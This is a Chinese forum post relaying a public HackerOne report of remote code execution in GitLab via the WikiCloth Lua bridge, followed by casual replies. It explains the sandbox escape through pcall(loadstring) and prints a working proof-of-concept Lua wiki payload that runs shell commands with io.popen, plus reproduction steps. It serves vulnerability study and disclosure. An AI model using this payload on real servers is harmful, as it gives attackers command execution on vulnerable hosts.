[hackerone搬运工]gitlab某些条件下的的RCE漏洞

大家好,我是搓澡张师傅。

这应该是我入驻方舟一来的第一篇长贴,先说点废话(直接看下边正文也行)。

我2017年开始看狗神的书并混迹于iosre论坛,所以在某种程度上来说狗神是我在逆向方面的老师。同时我也从iosre上汲取了众多营养,也在积极地回馈社区,积极地分享一些知识和观点。在这里非常感谢狗神的书,知识,无偿的经营论坛提供空间。但时至今日事情发生了一些变化,狗神和众多版主因为运营理念分歧(就先按这个措辞把,虽然故事有很多,各位大佬也有各自的立场,但是我实在也找不出更书面的措辞了),论坛产生了分裂。我以后就把这里作为发展技术根据地了。狗神那个论坛就当成个互联网娱乐版块来浏览了。

我目前的状况,跟页师傅学习挖洞,页师傅也很无私的倾囊相授,让我顺利的挖掘到了某厂的重点产品高危漏洞。我目前还在不断学习中。从今天起不定期搬运hackerone上漏洞。

我还是个挖洞菜鸡(比较有热情),所以文章质量大家自行评估(意思有可能会有低级错误,如发现请及时指正),勿当做教学读物,也勿当做大佬雄文(自作多情)。

说一千道一万进入正题:

今天要搬运的漏洞是:
https://hackerone.com/reports/1401444
Gitlab RCE(RemoteCodeExecute,远程代码执行)
漏洞奖金3000美元

漏洞产生原因:

Gitlab 支持的一种叫做 mediawikiwiki 格式,使用 WikiCloth 来渲染的。 WikiCloth 有个扩展叫做 rubyluabridge ,拆看就是三个单词 ruby-lua-bridge 。就是提供 luaruby 之间的桥接代码。所以梳理一下关系

Gitlab → markdown(ruby) → 插件ruby-lua-bridge(ruby) → markdown页面里执行lua代码

这一切看起来按部就班没毛病,也就是说lua代码的宿主是markdown(类比html宿主是浏览器),换句话说lua只能在markdown的沙盒里执行,类似html,js之类的,也就渲染一下执行点沙盒内的小逻辑啥的。

但是细心地作者从文档里找到了一句话:

loadstring – UNSAFE. See load. Even this isn’t safe. For example, pcall(safeloadstring, some_script) will load some_script in global environment. --SergeyRozhenko

划重点, will load some_script in global environment,也就是说用 pcall 函数 lua 可以从 markdown 的沙盒里逃逸了。

poc+复现:

  1. 安装rubyluabridge
  2. gitlab创建一个新工程,和一个wiki页面
  3. clone工程
  4. 创建一个hello.wiki, 注意这个wiki里使用了那个unsafe的pcall
<lua>
_,execute = pcall(loadstring,
    [[
        local command = ...;
        local handle = io.popen(command)
        local result = handle:read("*a")
        handle:close()
        return result;
    ]]
);

print(execute('id'));
execute('echo vakzz > /tmp/ggg');
</lua>
  1. comit+push
  2. 浏览器里访问刚才创建的页面(这步主要是为了触发markdown里的代码执行)
  3. 访问/tmp/ggg 发现lua代码执行成功

菜鸡总结:
1,用于输入叫做攻击面,用来搞事情,这次输入的就是gitlab wiki里的markdown(lua)
2,文档+脚本是代码执行重灾区(因为花活多,需求多)
3,js的eval很危险,也被挖的差不多了,lua这种稍微小众一点的脚本还是值得挖一挖。
4,如非必须,别瞎捷豹装各种script的插件

7 个赞

火钳刘明烫烫烫烫烫

前排支持,紫薯布丁。

1 个赞

快给弄个 挖洞的 流程化,我也要学习挖洞~ :smile:

1 个赞

坏了 原来只有我是真正的页面仔

你是负责混淆的混师傅

张师傅,牛,期待后续分享

前排支持,紫薯布丁。

张师傅 llvm 研究完了,又踏上了挖漏之旅,tql

主要是没研究会,换个赛道卷

大佬带带我 :laughing: :laughing: :laughing: :laughing:

:cow::beer::cow::beer::cow::beer::cow::beer: